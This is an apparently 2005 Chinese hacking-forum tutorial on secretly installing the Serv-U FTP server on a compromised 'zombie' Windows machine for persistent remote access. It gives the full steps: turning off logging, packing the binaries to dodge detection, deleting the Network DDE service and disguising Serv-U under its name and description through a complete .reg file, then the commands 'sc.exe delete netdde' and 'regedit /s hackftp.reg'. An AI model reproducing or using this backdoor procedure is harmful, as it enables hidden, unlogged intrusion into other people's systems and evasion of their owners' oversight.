樹結(jié)構(gòu)圖
您現(xiàn)在的位置： > 技術(shù)沙龍 > 網(wǎng)絡(luò)安全 > 黑客攻防 > 命令行下安裝的SERV-U
- 相關(guān)軟件
>命令行下安裝的SERV-U 創(chuàng)建者：webmaster 更新時間：2005-05-27 19:32
Serv-U，一個在windows系統(tǒng)下使用非常廣泛的ftp服務(wù)器（可惜，它沒遠(yuǎn)程安裝功能）沒關(guān)系，手工遠(yuǎn)程安裝它，正是樂趣所在 ^_^
Serv-U最新的版本據(jù)我所知道的，是4.0的。注意，一定要用最新版本的。原來版本的毛病不少。啊~~~~~
1.先在自己機(jī)器安裝，注冊cd-key，并將其安裝為一個服務(wù)。
2.設(shè)置，所填寫的各個參數(shù)，以肉雞為準(zhǔn)。
3.設(shè)置用戶等級時，把自己設(shè)置成域管理員。（why？serv-u有遠(yuǎn)程管理功能，我最喜歡它這點(diǎn)了）日志，全都不要選啦，呵呵~！
4.一些文件的說明：serv-u管理程序、 相關(guān)文章serv-u的主程序、< TzoLibr.dll BugSlayerUtil.dll ServUPerfCount.dll ssleay32.dll libeay32.dll>所需要的動態(tài)連接庫，可能有些不要，關(guān)它的，反正不大。 serv-u的密匙文件。 服務(wù)器基本的設(shè)置及用戶信息 遠(yuǎn)程管理的一些信息就放在這個文件里。
5. 遠(yuǎn)程安裝，分兩種情況：a.在終端下的安裝 b.在行命令下的安裝
6.加殼，把上面的*.exe和*.dll。全部加殼。當(dāng)然你可以先用資源修改工具，改改，它的圖標(biāo)實(shí)在是太醒目了的。所需要的工具，可以在這個http://www.exetools.com/。
7. 在終端下安裝，復(fù)制上面文件到%windri%\system32。運(yùn)行ServUAdmin.exe，將其安裝為一個服務(wù)。刪除一個不用的服務(wù)（比如用sc.exe）修改服務(wù)名稱為剛剛刪除的那個服務(wù)的名字，描述也和原來的一樣。最后刪除ServUAdmin.exe。搞定~！以后你要修改serv-u的設(shè)置時，不需要登陸上去，使用單獨(dú)的ServUAdmin.exe程序，就可以很好的進(jìn)行遠(yuǎn)程管理。
8.行命令下的安裝，這個稍微有點(diǎn)麻煩。打開本機(jī)的注冊表。找到這個項(xiàng)。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U
先不要導(dǎo)出。
修改Description，DisplayName這兩個鍵值。（服務(wù)描述和服務(wù)名字）
ImagePath 也要修改，改為c:\winnt\system32\ServUDaemon.exe。
導(dǎo)出這個項(xiàng)。文件看起來因該像這個樣子。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):63,00,3a,00,5c,00,77,00,69,00,6e,00,6e,00,74,00,5c,00,73,00,\
79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,53,00,65,00,72,00,76,00,55,\
00,44,00,61,00,65,00,6d,00,6f,00,6e,00,2e,00,65,00,78,00,65,00,00,00
"DisplayName"="Network DDE"
"ObjectName"="LocalSystem"
"Description"="提供動態(tài)數(shù)據(jù)交換 (DDE) 的網(wǎng)絡(luò)傳輸和安全特性。"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U\Security]
"Security"=
hex:01,00,14,80,a0,00,00,00,ac,00,00,00,14,00,00,00,30,00,00,00,02,\
00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\
00,00,02,00,70,00,04,00,00,00,00,00,18,00,fd,01,02,00,01,01,00,00,00,00,00,\
05,12,00,00,00,70,00,63,00,00,00,1c,00,ff,01,0f,00,01,02,00,00,00,00,00,05,\
20,00,00,00,20,02,00,00,00,00,00,00,00,00,18,00,8d,01,02,00,01,01,00,00,00,\
00,00,05,0b,00,00,00,20,02,00,00,00,00,1c,00,fd,01,02,00,01,02,00,00,00,00,\
00,05,20,00,00,00,23,02,00,00,00,00,00,00,01,01,00,00,00,00,00,05,12,00,00,\
00,01,01,00,00,00,00,00,05,12,00,00,00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U\Enum]
"0"="Root\\LEGACY_SERV-U\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001
保存為hackftp.reg
telnet上去，復(fù)制上述文件（ServUAdmin.exe，就不要放上去了）、sc.exe、hackftp.reg到%windir%\system32。刪除netdde服務(wù)。
sc.exe delete netdde
regedit /s hackftp.reg
等系統(tǒng)從新啟動后，一個ftp服務(wù)器，就悄悄的在它系統(tǒng)內(nèi)部運(yùn)做了..........- 前一則: 如何創(chuàng)建后門
- 后一則: 瀏覽器攻擊